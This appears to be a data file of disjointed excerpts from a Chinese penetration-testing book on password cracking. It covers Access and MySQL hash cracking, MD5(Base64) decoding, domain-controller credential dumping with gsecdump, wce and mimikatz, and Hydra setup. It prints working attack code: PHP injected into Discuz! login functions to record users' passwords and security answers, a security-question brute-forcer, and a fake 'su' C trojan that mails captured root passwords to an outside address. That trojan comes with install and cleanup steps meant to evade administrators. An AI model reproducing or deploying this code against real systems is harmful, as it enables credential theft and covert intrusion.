    {"text": "• 存储方式单一：Access管理的对象有表、查询、窗体、报表、页、宏和模块，以上对象都存放在后缀为.mdb的数据库文件中，便于用户进行操作和管理。 • 面向对象：Access是一个面向对象的开发工具，利用面向对象的方式将数据库系统的各种功能对象化，将数据库管理的各种功能封装在各类对象中。"},
    {"text": "通过对象的方法、属性完成数据库的操作和管理，极大简化了用户的开发工作。 同时，这种基于面向对象的开发方式使得开发应用程序更为简便。"},
    {"text": "系统还提供了表生成器、查询生成器、报表设计器及数据库向导、表向导、查询向导、窗体向导、报表向导等工具，操作简便，容易使用和掌握。"},
    {"text": "该环境集成了各种向导和生成器工具，极大地提高了开发人员的工作效率，使建立数据库、创建表、设计用户界面、设计数据查询、报表打印等可以方便、有序地进行。"},
    {"text": "• 支持ODBC（Open Data Base Connectivity，开放数据库互联）：利用Access强大的DDE（动态数据交换）和OLE（对象的链接和嵌入）特性，可以在一个数据表中嵌入位图、声音、Excel表格、Word文档，还可以建立动态的数据库报表和窗体等。"},
    {"text": "2.7.3 Access数据库的缺点和局限性 Access是一种桌面数据库，适合数据量少的应用，在处理少量数据和单机访问时很好用，效率也很高，但在处理海量数据时效率会受到极大影响。 例如，搭配ASP应用于互联网时，如果调用数据库的程序设计不理想，Access数据库超过30MB就开始影响性能，50MB左右的时候性能会急剧下降，即使配合设计优良的程序，数据库的极限大小也只能是几百MB。"},
    {"text": "另外，Access数据库在安全性方面也比不上MySQL、MSSQL等专业数据库，配合ASP程序使用的时候，如果使用默认的.mdb文件后缀而且没有经过额外的安全处理，别人甚至可以直接下载我们的数据库文件。"},
    {"text": "01 选择需要破解的Access数据库文件 笔者推荐一款Access数据库密码破解工具——Access数据库特殊操作。 如图2-41所示，运行“Access数据库特殊操作”后，在软件窗口中选择“破解Access密码”，然后在Access文件路径中选择需要破解的文件，也可以直接输入Access文件路径。 图2-41 选择需要破解的Access文件 02 获取数据库密码 单击“破解密码”按钮，软件很快就将Access数据库密码破解。"},
    {"text": "图2-42 破解Access数据库密码 03 删除数据库密码 在软件窗口单击“删除Access密码”标签，如果前面选择过数据库，则在“数据库路径”设置框中会显示上次操作的数据库，同时显示数据库的密码，单击“删除密码”按钮将加密的数据库密码删除，如图2-43所示。"},
    {"text": "Access数据库持续运行时间长了以后，文件本身会增加一些无用的信息，导致数据文件非常大，而对Access数据库来说，当数据库大小超过30MB就会影响性能，超过50MB会严重影响性能，因此，当数据库“个头”太大时，就需要给它“减肥”。 在该软件主界面单击“压缩Access数据库”标签，如图2-44所示，选择数据库文件后单击“压缩数据库”按钮即可。"},
    {"text": "图2-44 压缩Access数据库 2.8 巧用Cain破解MySQL数据库密码 MySQL数据库用户的密码与其他数据库用户的密码一样，在应用系统代码中都是以明文形式出现的，在获取文件读取权限后即可直接从数据库连接文件中读取。 例如，ASP代码中的conn.asp数据库连接文件中一般都包含数据库类型、物理位置、用户名和密码等信息，而在MySQL中，即使获取了某一个用户的数据库用户（root用户除外）的密码，也只能操作某一个用户的数据库中的数据。 在实际攻防过程中，在获取WebShell的情况下，可以直接下载MySQL数据库中保留用户的user.myd文件，该文件中保存的是MySQL数据库中所有用户对应的数据库密码，只要能够破解这些密码，就可以正大光明地操作这些数据了。 虽然网上有很多修改MySQL数据库用户密码的方法，但大都不可取，因为修改用户密码的事情很容易被人发现！"},
    {"text": "设想一下：一旦获取了网站一定的权限，如果能够获取MySQL中保存的用户数据，那么解密后即可通过正常途径访问数据库，一方面可以直接操作数据库中的数据，另一方面可以用来提升权限。 目前关于破解MySQL方面的研究还不是很多，本节算是抛砖引玉，虽然效果不是特别好，但也算是对破解MySQL数据库用户密码的一种探讨和尝试。 2.8.1 MySQL加密方式 MySQL数据库的认证密码有两种方式，MySQL 4.1之前是MySQL323加密，MySQL 4.1及之后的版本都是MySQLSHA1加密。 MySQL数据库自带Old_Password（str）和Password（str）函数，它们均可以在MySQL数据库里进行查询，前者是MySQL323加密，后者是MySQLSHA1加密。 1．以MySQL323方式加密 以MySQL323方式加密，示例如下。"},
    {"text": "MySQLSHA1 = *A2EBAE36132928537ADA8E6D1F7C5C5886713CC2 执行结果如图2-45所示，MYSQL323加密生成的是16位字符串，而MySQLSHA1加密生成的是41位字符串，其中“＊”不参加实际的密码运算。 通过观察发现，很多用户都携带了“＊”，在实际破解过程中需要去掉“＊”，也就是说MySQLSHA1加密密码的实际位数是40位。"},
    {"text": "图2-45 在MySQL数据库中查询同一密码的不同SHA值 2.8.2 MySQL数据库文件结构 1．MySQL数据库文件类型 MySQL数据库文件有FRM、MYD和MYI共3种格式，FRM是描述表结构的文件。"},
    {"text": "2．MySQL数据库用户密码文件 在MySQL数据库中，所有设置默认都保存在C:\\Program Files\\MySQL\\MySQL Server 5.0\\data\\ MySQL目录下，也就是安装程序的data目录下，如图2-46所示，与用户有关的文件一共有3个，分别是user.frm、user.MYD和user.MYI. MySQL数据库的用户密码都保存在user.MYD文件中，包括root用户和其他用户的密码。 图2-46 MySQL数据库用户密码文件 2.8.3 获取MySQL数据库用户密码加密字符串 使用UltraEdit-32编辑器直接打开user.MYD文件，打开后使用二进制模式查看。 如图2-47所示，在root用户后面是一串字符串，选中这些字符串并将其复制到“记事本”中，这些字符串即为用户加密值，本例为“506D1427F6F61696B4501445C90624897266DAE3”。 图2-47 获取加密的字符串 注意 （1）root后面的“＊”不要复制到字符串中。"},
    {"text": "Cain& Abel是一个可以破解屏保、PWL密码、共享密码、缓存口令、远程共享口令、SMB口令，支持VNC口令解码、Cisco Type-7口令解码、Base64口令解码、SQL Server 7.0/2000口令解码、Remote Desktop口令解码、Access Database口令解码、Cisco PIX Firewall口令解码、Cisco MD5解码、NTLM Session Security口令解码、IKE Aggressive Mode Pre-Shared Keys口令解码、Dialup口令解码、远程桌面口令解码等的综合工具，还可以实现远程破解、挂字典及暴力破解，其Sniffer功能极其强大，几乎可以明文捕获一切账号口令，包括FTP、HTTP、IMAP、POP3、SMB、TELNET、VNC、TDS、SMTP、MSKERB5-PREAUTH、MSN、RADIUS-KEYS、RADIUS-USERS、ICQ、IKE Aggressive Mode Pre-Shared Keys Authentications。"},
    {"text": "在Cain & Abel主界面中单击“Cracker”标签，然后将用户密码的加密字符串“506D1427F6F6 1696B4501445C90624897266DAE3”加入MySQL Hashes破解列表中，如图2-48所示。 图2-48 使用Cain破解MySQL密码主界面 单击“Add to list”按钮，将字符串复制到“Hash”输入框中，在“Username”输入框中可以输入任意内容，如图2-49所示。 图2-49 添加MySQL Hashes 2.8.5 使用字典进行破解 如图2-50所示，选中刚才添加的需要破解的字符串，然后选择“Dictionary Attack”（字典破解）选项，在弹出的菜单中选择“MySQL SHA1 Hashes”方式进行破解。 该方式针对的是MySQL 4.1及后续版本，对于MySQL 4.1以前的版本，应选择“MySQL v3.23 Hashes”选项。"},
    {"text": "图2-50 选择破解方式 选择“Dictionary Attack”（字典破解）选项后，会出现一个窗口，主要用于选择字典，如图2-51所示，在“Dictionary”设置区下方单击右键，可以添加一个或者多个字典文件。 字典选择完毕后，可以在“Options”（选项）设置区中进行选择，然后单击“Start”按钮进行破解。 图2-51 MySQL字典破解设置 说明 在“Options”设置区中一共有8种方式，具体如下。"},
    {"text": "1．字典破解与字典强度有关 依次单击“开始”→“程序”→“MySQL”→“MySQL Server 5.0”→“MySQL Command Line Client”选项，打开MySQL Command Line Client，输入密码后，输入以下代码设置一个新的密码。 Use MySQL update user set password=password(\"1977-05-05\") where user=\"root\"; flush privileges; 本例中将原来的密码修改为“1977-05-05”，其结果如图2-53所示。 图2-53 修改MySQL用户密码 再次使用UltraEdit-32打开“C:\\Program Files\\MySQL\\MySQL Server 5.0\\data\\MYSQL\\user.MYD”，获取其新的密码字符串“B046BBAF61FE3BB6F60CA99AF39F5C2702F00D12”，重新选择一个字典文件，本例选择生成的生日字典，如图2-54和图2-55所示，仅选择小写字符串进行破解，很快就获取了破解结果。 图2-54 再次破解MySQL密码 图2-55 修改MySQL密码后再次进行破解MySQL密码 实际结果表明，使用Cain破解MySQL密码时，如果采用字典破解，那么破解效果与字典强度有关，只要破解的密码在字典中，就一定能够破解。 2．使用彩虹表进行破解 Cain还提供了彩虹表破解MySQL的方式，在破解方式中选择“Cryptanalysis Attack”→“MySQL SHA1 Hashes via RainbowTables”选项即可，如图2-56和图2-57所示。"},
    {"text": "图2-56 使用彩虹表破解方式 图2-57 使用彩虹表进行破解 在实际测试过程中，由于网络上提供的SHA彩虹表是RTI格式的，而Cain中使用的是RT格式的。 笔者将下载的所有彩虹表中文件后缀由“RTI”修改为“RT”，然后进行破解，提示破解不成功，其原因应该是彩虹表的格式不一样，Cain只承认它自己提供的彩虹表。"},
    {"text": "在主界面中单击计算机图标按钮，弹出Hash计算器，在“Text to hash”输入框中输入需要转换的原始值，如“12345678”，单击“Calculate”按钮进行计算，如图2-58所示，可以看到14种Hashes值。"},
    {"text": "图2-58 计算Hashes值 4．生成彩虹表 在Cain的安装目录C:\\Program Files\\Cain\\Winrtgen中直接运行Winrtgen，如图2-59所示，该工具为彩虹表生成器，可以很方便地生成各种类型的彩虹表值。 图2-59 Winrtgen彩虹表生成工具 5．设置彩虹表 单击“Add Table”按钮，在“Rainbow Table properties”对话框的“Hash”下拉列表中选择“MYSQLsha1”选项，根据实际情况分别设置“Min Len”、“Max Len”、“Index”、“Chain len”、“Chain Count”及“N of tables”的值，一般情况下，仅需要设置“Min Len”、“Max Len”及“N of tables”的值。"},
    {"text": "“N of tables”主要用来测试Hashes生成的完整度，输入不同的值，会在“Table properties”显示区中显示百分比，使用户可以通过尝试确定一共需要生成多少个表，单击“Benchmark”按钮可以进行时间估算，如图2-60所示，单击“OK”按钮完成生成设置。"},
    {"text": "图2-61 开始生成彩虹表 由于生成彩虹表的时间比较长，在网上也没有搜索到以“rt”结尾的MYSQL Sha1 Hashes表，因此，本次破解主要以字典破解为主，彩虹表的破解将在全部生成后进行。 关于如何使用彩虹表破解MySQL密码，请关注安天365论坛（bbs.antian365.com）。"},
    {"text": "本节通过使用Cain破解MySQL密码，算是一种较好的尝试，只要使用字典工具生成一些具有一定强度的字典，对于那些设计不太复杂的MySQL密码，破解还是比较容易的。"},
    {"text": "2.9 MD5（Base64）加密与解密 在对某一个CMS系统进行安全检测时，可以通过注入点获取其管理员表中的管理员用户名和密码数据，但由于不知道该密码数据采用何种加密方式，所以，虽然知道CMS系统管理的后台，但苦于没有破解管理员的密码而无法登录系统。 笔者通过研究终于掌握了MD5（Base64）加密原理和解密原理，因此才有本节内容。"},
    {"text": "Base64是网络上最常见的用于传输8bit字节代码的编码方式之一，在发送电子邮件时，服务器认证的用户名和密码需要使用Base64编码，附件也需要使用Base64编码。 Base64要求把每3个8bit的字节转换为4个6bit的字节（3×8= 4×6= 24），然后把6bit再添2位高位0，组成4个8bit的字节，也就是说，转换后的字符串理论上将比原来的字符串长1/3。"},
    {"text": "“MD5”的全称是“Message-Digest Algorithm 5”（信息-摘要算法），在20世纪90年代初由Mit Laboratory For Computer Science和Rsa Data Security Inc的Ronald L. Rivest开发，经MD2、MD3和MD4发展而来。"},
    {"text": "它的作用是让大容量信息在用数字签名软件签署私人密钥前被“压缩”成一种保密的格式（就是把一个任意长度的字节串变换成一个定长的大整数）。"},
    {"text": "2.9.1 MD5（dBase64）密码 MD5（dBase64）加密后的字符串长度为24位，最末尾有2个“＝”符号，字符串中数字和字母混写，这种加密方式在ASP.NET等CMS环境中经常碰到。"},
    {"text": "图2-62 MD5（dBase64）密码 2.9.2 从网上寻找破解之路 直接在Google上对“MD5（dBase64）加解密”进行搜索，如图2-63所示，从搜索结果来看，除了求助外，很难在网上找到MD5（dBase64）的加密和解密方法。"},
    {"text": "图2-63 Google搜索结果 2.9.3 生成Hash值 InsidePro网站提供了在线Hash破解（http://hash.insidepro.com/）和在线生成各种Hash值的功能，在线生成Hash值的网址为http://www.insidepro.com/hashes.php?lang=eng，如图2-64所示。"},
    {"text": "图2-64 生成各种Hash值 2.9.4 比对Hash值和加密密码值 在生成Hash值后的http://www.insidepro.com/hashes.php?lang=eng页面上拖动滚动条，一一对照。"},
    {"text": "Haval128(Base64):1xehfrgfAcMYLCdLcYiDlg== Haval160(Base64):JPfaQRoHY0v/EJnXN9iKd9MfdbE= MD2(Base64):d+K74ta9Vhbr4yuKzfCAZQ== MD4(Base64):QPRz/CVV3O9EVOA/iCaOwA== MD5(Base64):Ar2S+qOKqmzA6nXlmTeh7w== 找到的加密方式，如图2-65所示，验证了该加密方式就是MD5（Base64）加密。 图2-65 找到加密方式 2.9.5 破解方式 01 添加Hash值 从http://www.insidepro.com/eng/passwordspro.shtml页面上了解到，PasswordsPro可以破解MD5（Base64）加密方式。"},
    {"text": "图2-67 暴力破解MD5（Base64）密码 在PasswordsPro 2.5.3.0中还有其他破解方式，包括“Preliminary Attack”、“Mask Attack”、“Simple Dictionary Attack”、“Combined Dictionary Attack”、“Hybrid Dictionary Attack”和“Rainbow Attack\" 6种破解方式，如图2-68所示。"},
    {"text": "01 进行Base64解码 网上有很多工具可以对Base64编码进行解码，其中一款是可以在Linux和Windows下运行的Base64工具，下载地址为http://www.fourmilab.ch/webtools/base64/，下载后可以直接运行，命令为“base64-decode base64.b64 base64.tmp”，参数“-decode”或“-d”表示解码，“-encode”或“-e”表示Base64编码。 base64.b64是Base64编码后的文件，base64.tmp是解码后生成的文件。"},
    {"text": "图2-70 Base64解码工具 图2-71 执行解码批处理文件 02 编辑解码文件 将MD5（Base64）加密后的密码值“Ar2S+qOKqmzA6nXlmTeh7w==”复制到base64.b64文件中，编辑解码文件的情形如图2-72所示。 图2-72 编辑解码文件 03 查看解码后的文件 使用UltraEdit-32编辑器打开base64.tmp文件，如图2-73所示，该文件显示为乱码。 这一点笔者也很奇怪，后面通过其他一些Base64解码工具进行解码，其正常显示结果仍为乱码。 图2-73 查看解码后的文件 04 获取Base64解码后的MD5值 在UltraEdit-32编辑器中，直接以二进制方式打开解码后的文件base64.tmp，如图2-74所示，将其中的二进制编码进行整理，其结果为“02BD92FAA38AAA6CC0EA75E59937A1EF”，共32位，这与MD5加密后的值有些相似。"},
    {"text": "图2-74 获取二进制的值 2.9.7 MD5（Base64）加解密原理 在线生成Hash值，然后按照2.9.6节中的步骤重新测试，结果与之测试吻合，由此我们可以推测出MD5（Base64）的加解密原理。 1．MD5（Base64）加密原理 MD5（Base64）加密，首先对字符串进行MD5加密，即MD5（string），然后对MD5加密后的字符串进行Base64编码。 2．MD5（Base64）解密原理 MD5（Base64）解密，先对MD5（Base64）进行Base64解码，再对Base64解码后的值通过二进制方式进行读取，结果应为32位字符串，最后对获取的32位字符串进行MD5解密。"},
    {"text": "近年来，由于密码泄露事件的影响和社工库的普及，用户和管理员大都设置了安全验证，所以，获取用户的安全验证问题就非常有必要了。 目前，获取用户的安全验证问题的主要方式有两种：一种是通过修改源程序，在其中加入记录代码，截获所有登录用户的登录密码、安全问题和答案；"},
    {"text": "$ip=$_SERVER['REMOTE_ADDR']; $showtime=date(\"Y-m-d H:i:s\"); $record=\"<?exit();?>\".$username.\" --------\".$password.\" IP:\".$ip.\"questionid\".$questionid.\"answer\".$answer.\" Time:\".$showtime.\"\\r\\n\"; $handle=fopen('./include/csslog.php','a+'); $write=fwrite($handle,$record); 密码记录和登录文件保存在“include”目录下的cssog.php文件中，打开csslog.php文件即可看到获取的用户记录，如图2-75所示。"},
    {"text": "图2-75 Discuz! 7.2论坛密码及验证问题记录 2．Discuz! X2.5-3.1论坛记录程序的编写及实现 在Discuz! X2.5-3.1安装目录的“uc_client”文件夹下找到client.php文件，在“unction uc_user_ login”函数中加入以下代码。 //以下为密码记录程序代码 if(getenv('HTTP_CLIENT_IP')) { $onlineip = getenv('HTTP_CLIENT_IP'); } elseif(getenv('HTTP_X_FORWARDED_FOR')) { $onlineip = getenv('HTTP_X_FORWARDED_FOR'); } elseif(getenv('REMOTE_ADDR')) { $onlineip = getenv('REMOTE_ADDR'); } else { $onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR']; } if(getenv('HTTP_CLIENT_IP')) { $onlineip = getenv('HTTP_CLIENT_IP'); } elseif(getenv('HTTP_X_FORWARDED_FOR')) { $onlineip = getenv('HTTP_X_FORWARDED_FOR'); } elseif(getenv('REMOTE_ADDR')) { $onlineip = getenv('REMOTE_ADDR'); } else { $onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR']; } $ip=$onlineip; $showtime=date(\"Y-m-d H:i:s\"); $record=\"<?exit();?> 用 户 ： \".$username.\" 密 码 ： \".$password.\" IP:\".$ip.\" Time:\".$showtime.\" questionid：\".$questionid.\"answer：\".$answer.\"\\r\\n\"; $handle=fopen('./api/csslog.php','a+'); $write=fwrite($handle,$record); //密码记录程序代码结束 用户登录后查看127.0.0.1/api/csslog.php文件，即可获取密码及验证问题答案等信息，效果如图2-76所示。"},
    {"text": "X2.5论坛密码及其验证程序记录效果 图2-77 问题ID对应 2.10.2 Discuz! X2.5论坛密码安全问题暴力破解 下面我们一起了解一下Discuz! X2.5论坛密码安全问题暴力破解的过程。"},
    {"text": "图2-78 查看Secques值 图2-79 查询管理员的密码 02 密码问题设置和解除 密码登录安全提问是用户注册成功后通过再次设置“密码安全”实现的。"},
    {"text": "默认设置了7个安全验证问题，用户只需要选择问题，然后设置问题的答案即可，论坛最高管理员或者创始人可以直接将安全提问清除。 设置安全验证问题后，用户登录时除了需要输入用户名和密码外，还需要选择自己设置的安全问题并输入相应的答案，如图2-81所示。 图2-80 设置安全验证问题 图2-81 用户登录安全问题验证 03 程序暴力破解 暴力破解程序代码如下。"},
    {"text": "*/ error_reporting(0); if($argc<2){ print_r(' -------------------------- Usage: php cracksecques.php hash Example: php cracksecques.php ca9e47ea -------------------------- '); die;} $fd=fopen(\"pass.dic\",r); if(!$fd){ echo \"error:打开字典文件错误\"; die;} while($buf=fgets($fd)){ for($i=1;$i<8;$i++) { $tmp=substr(md5(trim($buf).md5($i)),16,8); $conn=strcmp($tmp,$argv[1]); if($conn==0) { echo \" 密 码 破 解 成 功 !\\n\".\" 提 示 问 题 答 案 为 :\".$buf.\" 提 示 的 问 题 为:\".theask((int)$i).\"\\n\"; die;}}} if($conn!=0){echo\"没有正确的密码!\";} fclose($fd); function theask($var){ if($var==1){return\"母亲的名字\"; } elseif($var==2){return\"爷爷的名字\";} elseif($var==3){return\"父亲出生的城市\"; } elseif($var==4){return\"您其中一位老师的名字\";} elseif($var==5){return\"您个人计算机的型号\"; } elseif($var==6){return\"您最喜欢的餐馆名称\"; } elseif($var==7){return\"驾驶执照最后四位数字\";} } ?> 将以上程序代码保存为文件crackdzsecques.php，在Windows下通过“php crackdzsecques.phpca9e47ea”命令进行破解，pass.dic为生成的字典，如图2-82所示。"},
    {"text": "当一台计算机登录域时，域控制器首先要鉴别这台计算机是否属于这个域，以及用户使用的登录账号和密码是否正确。 如果正确，则允许计算机登入这个域，使用该域内其有权限访问的任何资源，如文件服务器、打印服务器等，也就是说，域控制器仅有验证作用，访问其他资源时并不需要再与域控制器扯上关系； 如果不正确，则不允许计算机登入，这时计算机将无法访问域内的任何资源，也就在一定程度上保护了企业的网络资源。 域服务器的作用如下。"},
    {"text": "• 活动目录：是企业基础架构的根本，可作为公司整体统一管理的基础，其他Exchange、ISA、防病毒服务器、补丁分发服务器、文件服务器等服务均依赖域服务器。"},
    {"text": "域控服务器是网络安全渗透的重点对象，获取了域控服务器的权限，就掌控了整个网络的资源和权限，在渗透过程中获取域控服务器用户账号和密码是最基础和必须进行的一步。 本节将就域控服务器渗透思路、内网域控服务器渗透常见命令及域控服务器用户账号和密码的获取进行探讨。 2.11.1 域控服务器渗透思路 域控服务器的渗透思路，仁者见仁，智者见智，笔者就实际工作经验总结如下。 • 寻找网络入口，获取域控用户权限，通过用户获取域控管理员信息。 针对域控管理员开展个人主机渗透或者社会工程学攻击，获取域管理员个人主机权限，进而获取域控服务器权限。 • 获取域控服务器内某一台Web服务器或者其他服务器的权限。 在获取网络上某一台服务器的权限后，通过获取该服务器的用户账号和密码，通过NTScan等工具对整个内网进行账号的暴力破解，以获取域控服务器权限。 总之，在内网渗透中需要对各种信息进行收集和研判，通过信息进行大胆的推断和渗透测试，不断扩大权限，最终获取域控服务器权限。 2.11.2 内网域控服务器渗透常见命令 内网域控服务器渗透常见命令如下。"},
    {"text": "2．常见信息收集命令 • net user：查询本机用户列表。 • net localhroup administrators：查询本机管理员（通常包含域用户）。 • net group “domain admins”/domain：查询域管理员用户。 • net user/domain：查询域用户。 • net group/domain：查询域里面的工作组。 • net view/domain：查询域名称。 • net view/domain:XX：查询域内计算机。 • net time/domain：查询域控制器。 • net localgroup administrators/domain：查询域管理员用户组。 • net localgroup administrators workgroup\\user001/add：将域用户添加到本机。 • net group \"Domain controllers\"：查看域控制器（如果有多台）。 • ipconfig/all：查询本机IP地址段、所在域等。 • net view：查询同一域内的机器列表。 • dsquery server：查询所有域控制器，示例如下。 dsquery server -domain super.com | dsget server -dnsname -site //搜索域内所有域控制器并显示他们的DNS主机名和站点名称 • dsquery computer：查询域内计算机，示例如下。 dsquery computer domainroot -name admin* -limit 10 //搜索域内名称以“admin”开头的10台机器 • dsquery user：查询域用户，示例如下。 dsquery user domainroot -name admin* -limit 10 //搜索域内名称以“admin” 开头的10个用户） • dsquery contact：查询域内联系人，示例如下。 dsquery contact domainroot -name admin* -limit 10 //搜索域内名称以“admin”开头的10个联系人 • dsquery subnet：查询域内子网。 • dsquery group：查询域内用户组，示例如下。 dsquery group dc=super,dc=com |more //搜索在 DC=SUPER、DC=COM 域中的所有组 • dsquery ou：查询域内组织单位。 • dsquery site：查询域内站点，示例如下。 dsquery site -o rdn //搜索域中所有站点的名称 • net group “domain computers”/domain：查询域内所有计算机。"},
    {"text": "02 查看域控情况 通过“net view”命令查看显示当前域的计算机列表，在本例中发现，仅存在一台服务器。 “net view”命令用于显示域列表、计算机列表或指定计算机的共享资源列表。 “net view [\\\\Computer Name] [/domain[:DomainName] ]”命令用于指定要查看其可用计算机的域。"},
    {"text": "03 登录域控服务器 使用NTScan将已经获取的Web服务器管理员密码和用户密码对网段10.168.10.1-254进行扫描，获取了IP地址为10.168.10.3的域控服务器的用户名和密码，远程终端登录该服务器。"},
    {"text": "04 获取域控服务器用户密码 将PsExec、GSecDump等工具上传到域控服务器。 执行“psexec \\\\127.0.0.1 cmd”命令，以获取system权限，然后到工具目录下执行“gsecdump-s>all.txt”命令，将用户密码Hash值全部导出到all.txt文件中，如图2-83所示，代码如下。 图2-83 获取域控服务器域密码 usage: gsecdump [options] options: -a [ --dump_all ] dump all secrets -s [ --dump_hashes ] dump hashes from SAM/AD -l [ --dump_lsa ] dump lsa secrets -u [ --dump_usedhashes ] dump hashes from active logon sessions -w [ --dump_wireless ] dump microsoft wireless connections -h [ --help ] show help -S [ --system ] run as localsystem GSecDump 2.0b5的下载地址为http://www.truesec.com/Tools/Tool/gsecdump _v2.0b5。 05 查看并整理域用户密码 通过“记事本”等程序打开all.txt文件，将IUSR、IWAM及用户名末尾含有“＄”符号的用户全部删除，如IUSR_FS02T47E（current）、IWAM_FS02T47E（current）、RM103-2$（current）等密码都是无用密码，如图2-84所示。 图2-84 查看和清理域控用户密码 06 破解域控用户密码 将整理好的文件导入Ophcrack中可以快速破解域控用户的密码，如图2-85所示。 图2-85 破解域控密码 技巧 （1）在有些情况下，由于管理员设置了超过14位的密码，所以即使通过GSecDump工具获取Hash值，也无法使用Ophcrace进行破解。"},
    {"text": "执行“wce-w”命令可直接获取登录用户的明文密码，如图2-86所示。 图2-86 获取登录用户的明文密码 （2）还可以通过mimikatz获取曾经登录系统的用户的明文密码，命令如下。"},
    {"text": "2.12.1 使用kpr-fakesu.c程序记录root用户的密码 kpr-fakesu.c程序可用于记录root用户的密码。 1．kpr-fakesu.c源程序 kpr-fakesu.c程序的新版本为0.9beta167，它是由koper开发的（koper@linuxmail.org），该程序代码如下。"},
    {"text": "#include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]){ FILE *fp; char *user; char *pass; char filex[100]; char clean[100]; sprintf(filex,\"/var/tmp/.mail\"); sprintf(clean,\"rm -rf /var/tmp/.su;mv -f /home/webshell/.wgetrc /home/webshell/.bash_profile\"); if(argc==1) user=\"root\"; if(argc==2) user=argv[1]; if(argc>2){ if(strcmp(argv[1], \"-l\")==0) user=argv[2]; else user=argv[1];} fprintf(stdout,\"Password: \"); pass=getpass (\"\"); system(\"sleep 3\"); fprintf(stdout,\"su: Authentication failure\\nSorry.\\n\"); if ((fp=fopen(filex,\"w\")) != NULL) { fprintf(fp, \"%s:%s\\n\", user, pass); fclose(fp); } system(clean); system(\"rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su\"); system(\"uname -a >> /var/tmp/.mail; cat /var/tmp/.mail | mail admin@antian365.com\"); } 2．运行前必须修改程序 运行该程序前，必须对程序进行修改，否则即使执行该程序也不会得到结果。"},
    {"text": "（1）修改密码记录的文件名称 在代码中修改sprintf(filex,\"/var/tmp/.mail\"）函数。 在该函数中默认生成的密码记录文件的后缀是“.mail”，可以将“.mail”修改为任意文件后缀（切记修改时一定要全部修改，以上代码中共有3处需要修改）。"},
    {"text": "（2）修改反弹Shell主目录 将“sprintf(clean,\"rm-rf/var/tmp/.su; mv-f/home/webshell/.wgetrc/home/webshell/.bash_profile\");”中的“/home/webshell”修改为实际用户的主目录名称（以上代码中有2处需要修改）。"},
    {"text": "（3）修改邮件发送地址 将“system(\"uname-a>>/var/tmp/.mail; cat/var/tmp/.mail| mail admin@antian365.com\");”中的邮件地址修改为能够接收邮件的邮件地址。"},
    {"text": "01 将fakesu.c程序复制到用户目录下 如果具备SSH用户权限，可以通过SSH Secure Shell的文件传输功能将本地文件上传到服务器中，如图2-87所示。 如果具备WebShell权限，也可以通过WebShell将fakesu.c程序上传到服务器中。 如果是反弹的DOS命令提示符，则可以通过命令“wget http://www.somesite.com/fakesu.c”将其下载到服务器中。"},
    {"text": "图2-87 将代码上传到服务器 02 再次检查代码 使用“cat fakesu.c”命令查看源程序代码，确认2.12.1节提及的3个地方都已正确修改，如图2-88所示。"},
    {"text": "Chmod 777 fakesu.c gcc -o .su fakesu.c; rm -rf fakesu.c mv .su /var/tmp/.su cd ~ cp .bash_profile .wgetrc cp .bash_profile .wgetrb echo \"alias su=/var/tmp/.su\">>.bash_profile Logout • “Chmod 777 fakesu.c”表示使程序“fakesu.c”具有最高权限。 • “gcc-o.su fakesu.c; rm-rf fakesu.c”用于编译fakesu.c程序，生成．su文件，同时彻底删除fakesu.c程序。"},
    {"text": "执行命令后，如图2-89所示，编译fakesu.c程序时可能会出现警告信息“webadm.c:19:警告：赋值时将整数赋给指针，未作类型转换”，该警告信息不会影响程序的正常运行。"},
    {"text": "图2-89 执行命令 2.12.3 查看密码记录文件 根据fakesu.c程序中设置的密码记录文件可知，在本例中记录的文件为“/var/tmp/.pwds”。 该文件默认为隐藏属性，可以直接通过命令“cat/var/tmp/.pwds”查看，如图2-90所示，记录的root用户的密码为“simeon”。 图2-90 获取root用户的密码 2.12.4 删除安装文件 当fakesu.c程序成功记录root用户的后，需要删除安装的程序文件，否则时间久了容易引起管理员的警觉。"},
    {"text": "rm -rf /var/tmp/.su cp .wgetrb .bash_profile rm -rf .wgetrc rm -rf /var/tmp/.pwds 2.13 暴力破解工具Hydra使用攻略 Hydra是世界顶级的密码暴力破解工具，支持几乎所有协议的在线密码破解，功能强大，密码能否被破解的关键取决于破解字典是否足够强大。"},
    {"text": "在网络安全渗透过程中，Hydra是一款必备的测试工具，配合社工库进行社会工程学攻击，有时会获得意想不到的效果。 2.13.1 Hydra简介 Hydra是著名黑客组织thc开发的一款开源的暴力密码破解工具，可以在线破解多种密码，目前已经被Backtrack和kali等渗透平台收录。"},
    {"text": "Hydra的最新版本为Hydra 7.6，下载地址为http://www.thc.org/releases/hydra-7.6.tar.gz，它支持AFP、Cisco AAA、Cisco auth、Cisco enable、CVS、Firebird、FTP、uHTTP-FORM-GET、HTTP-FORM-POST、HTTP-GET、HTTP-HEAD、HTTP-PROXY、HTTPS-FORM-GET、HTTPS-FORM-POST、HTTPS-GET、HTTPS-HEAD、HTTP-Proxy、ICQ、IMAP、IRC、LDAP、MS-SQL、MySQL、NCP、NNTP、Oracle Listener、Oracle SID、Oracle、PC-Anywhere、PCNFS、POP3、POSTGRES、RDP、Rexec、Rlogin、Rsh、SAP/R3、SIP、SMB、SMTP、SMTP Enum、SNMP、SOCKS5、SSH（v1和v2）、Subversion、Teamspeak（TS2）、Telnet、VMware-Auth、VNC、XMPP等类型密码的破解。"},
    {"text": "2.13.2 Hydra的安装与使用 Hydra可以在Debian和Ubuntu等环境下安装和使用。 1．在Debian和Ubuntu环境下安装Hydra 如果是Debian和Ubuntu发行版，会自带Hydra，可直接使用apt-get在线安装，命令如下。"},
    {"text": "sudo apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev hydra 如果要使用Redhat/Fedora发行版的源码包编译安装，需要先安装相关依赖包，命令如下。 yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel 2．安装CentOS CentOS的安装命令如下。"},
    {"text": "# tar zxvf hydra-7.6-src.tar.gz # cd hydra-6.0-src # ./configure # make # make install 3．使用Hydra BT5和kali都默认安装了Hydra。"},
    {"text": "在kali中，依次单击“kali Linux”→“Password Attacks”→“Online Attacks”→“hydra”选项即可打开Hydra。 在CentOS终端中，输入命令“/usr/local/bin/hydra”即可打开该暴力破解工具。"},
